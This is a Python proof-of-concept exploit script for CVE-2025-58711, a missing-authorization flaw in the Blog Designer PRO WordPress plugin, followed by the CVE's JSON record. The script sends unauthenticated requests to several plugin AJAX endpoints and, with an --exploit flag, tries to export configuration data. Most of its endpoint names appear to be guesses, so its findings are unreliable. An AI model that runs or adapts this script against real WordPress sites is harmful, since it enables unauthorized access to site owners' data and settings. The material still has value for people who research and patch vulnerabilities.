CVE-2025-58711

import requests import sys # CVE-2025-58711 PoC - Blog Designer PRO Missing Authorization # Target: WordPress site with blog-designer-pro plugin <= 3.4.8 def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-58711 Missing Authorization in Blog Designer PRO plugin """ vulnerabilities = [] # Common Blog Designer PRO AJAX endpoints to test test_endpoints = [ '/wp-admin/admin-ajax.php?action=bdp_export_layout', '/wp-admin/admin-ajax.php?action=bdp_get_template', '/wp-admin/admin-ajax.php?action=bdp_save_settings', '/wp-admin/admin-ajax.php?action=bdp_get_posts', '/wp-admin/admin-ajax.php?action=blog_designer_pro_get_data' ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) CVE-2025-58711-PoC', 'Content-Type': 'application/x-www-form-urlencoded' } print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-58711 - Blog Designer PRO Missing Authorization\n") for endpoint in test_endpoints: url = target_url.rstrip('/') + endpoint try: # Test without authentication response = requests.get(url, headers=headers, timeout=10, verify=False) # Check if response indicates successful unauthorized access if response.status_code == 200: # Check for sensitive data exposure or successful operation if any(keyword in response.text.lower() for keyword in ['layout', 'template', 'settings', 'posts', 'success', 'data']): print(f"[+] VULNERABLE: {endpoint}") print(f" Status: {response.status_code}") print(f" Response length: {len(response.text)} bytes") vulnerabilities.append(endpoint) else: print(f"[*] Endpoint accessible: {endpoint} (needs manual verification)") elif response.status_code == 403: print(f"[-] Protected: {endpoint}") else: print(f"[*] Response {response.status_code}: {endpoint}") except requests.exceptions.RequestException as e: print(f"[!] Error testing {endpoint}: {str(e)}") return vulnerabilities def exploit_unauthorized_access(target_url, endpoint): """ Attempt to exploit the unauthorized access vulnerability Extract sensitive configuration data """ print(f"\n[*] Attempting to exploit: {endpoint}") url = target_url.rstrip('/') + endpoint # Try to export/retrieve sensitive data without auth data = { 'bdp_action': 'export', 'format': 'json' } try: response = requests.post(url, data=data, timeout=10, verify=False) if response.status_code == 200 and response.text: print(f"[+] Successfully accessed protected resource!") print(f"[+] Response preview: {response.text[:500]}...") return True except Exception as e: print(f"[!] Exploitation failed: {str(e)}") return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-58711-poc.py <target_url>") print("Example: python cve-2025-58711-poc.py http://example.com") sys.exit(1) target = sys.argv[1] vulnerable_endpoints = check_vulnerability(target) if vulnerable_endpoints: print(f"\n[!] Target is VULNERABLE to CVE-2025-58711") print(f"[!] Found {len(vulnerable_endpoints)} vulnerable endpoints") # Attempt exploitation on first vulnerable endpoint if len(sys.argv) > 2 and sys.argv[2] == '--exploit': exploit_unauthorized_access(target, vulnerable_endpoints[0]) else: print(f"\n[*] Target appears NOT vulnerable or plugin not installed")

{"cve": {"id": "CVE-2025-58711", "sourceIdentifier": "[email protected]", "published": "2025-10-29T09:15:37.343", "lastModified": "2026-04-27T19:16:14.983", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in solwin Blog Designer PRO blog-designer-pro allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Blog Designer PRO: from n/a through <= 3.4.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/blog-designer-pro/vulnerability/wordpress-blog-designer-pro-plugin-3-4-8-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}